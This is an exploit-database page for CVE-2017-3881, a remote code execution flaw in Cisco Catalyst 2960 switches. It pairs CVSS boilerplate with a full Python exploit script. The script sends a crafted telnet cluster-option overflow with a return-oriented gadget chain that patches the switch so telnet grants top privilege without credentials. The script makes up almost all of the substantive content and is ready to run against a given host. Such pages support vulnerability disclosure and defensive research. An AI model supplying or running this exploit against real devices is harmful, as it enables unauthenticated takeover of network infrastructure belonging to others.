Exploitalert - Database of Exploits

Cisco Catalyst 2960 IOS 12.2(55)SE11 Remote Code Execution

CVE	Category	Price	Severity
CVE-2017-3881	CWE-94	$1000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-04-13

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H	0.82549	0.94834

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017040083

Cisco Catalyst 2960 IOS 12.2(55)SE11 Remote Code Execution#!/usr/bin/python # Exploit Title: Cisco Catalyst 2960 - Buffer Overflow # Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/ # Date: 04.10.2017 # Exploit Author: https://twitter.com/artkond # Vendor Homepage: https://www.cisco.com/ # Version: IOS version c2960-lanbasek9-mz.122-55.SE11) # Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11 # CVE : CVE-2017-3881 # Description: # # The exploit connects to the Catalyst switch and patches # it execution flow to allow credless telnet interaction # with highest privilege level # import socket import sys from time import sleep set_credless = True if len(sys.argv) < 3: print sys.argv[0] + ' [host] --set/--unset' sys.exit() elif sys.argv[2] == '--unset': set_credless = False elif sys.argv[2] == '--set': pass else: print sys.argv[0] + ' [host] --set/--unset' sys.exit() s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 23)) print '[+] Connection OK' print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) print '[+] Sending cluster option' print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' payload = '\xff\xfa\x24\x00' payload += '\x03CISCO_KITS\x012:' payload += 'A' * 116 payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; #next bytes are shown as offsets from r1 payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34 if set_credless is True: payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1 else: payload += '\x00\x04\xeA\xe0' # unset payload += 'BBBB' # +16(+0) r1 points here at second gadget payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; payload += 'CCCC' # +8 payload += 'DDDD' # +12 payload += 'EEEE' # +16(+0) r1 points here at third gadget payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8 payload += 'FFFF' # +12 payload += 'GGGG' # +16(+0) r1 points here at fourth gadget payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; if set_credless: payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; else: payload += '\x00\x04\xe7\x78' # unset payload += 'HHHH' # +12 payload += 'IIII' # +16(+0) r1 points here at fifth gadget payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; payload += 'JJJJ' # +8 r1 points here at third gadget payload += 'KKKK' # +12 payload += 'LLLL' # +16 payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr payload += ':15:' + '\xff\xf0' s.send(payload) print '[+] All done' s.close()

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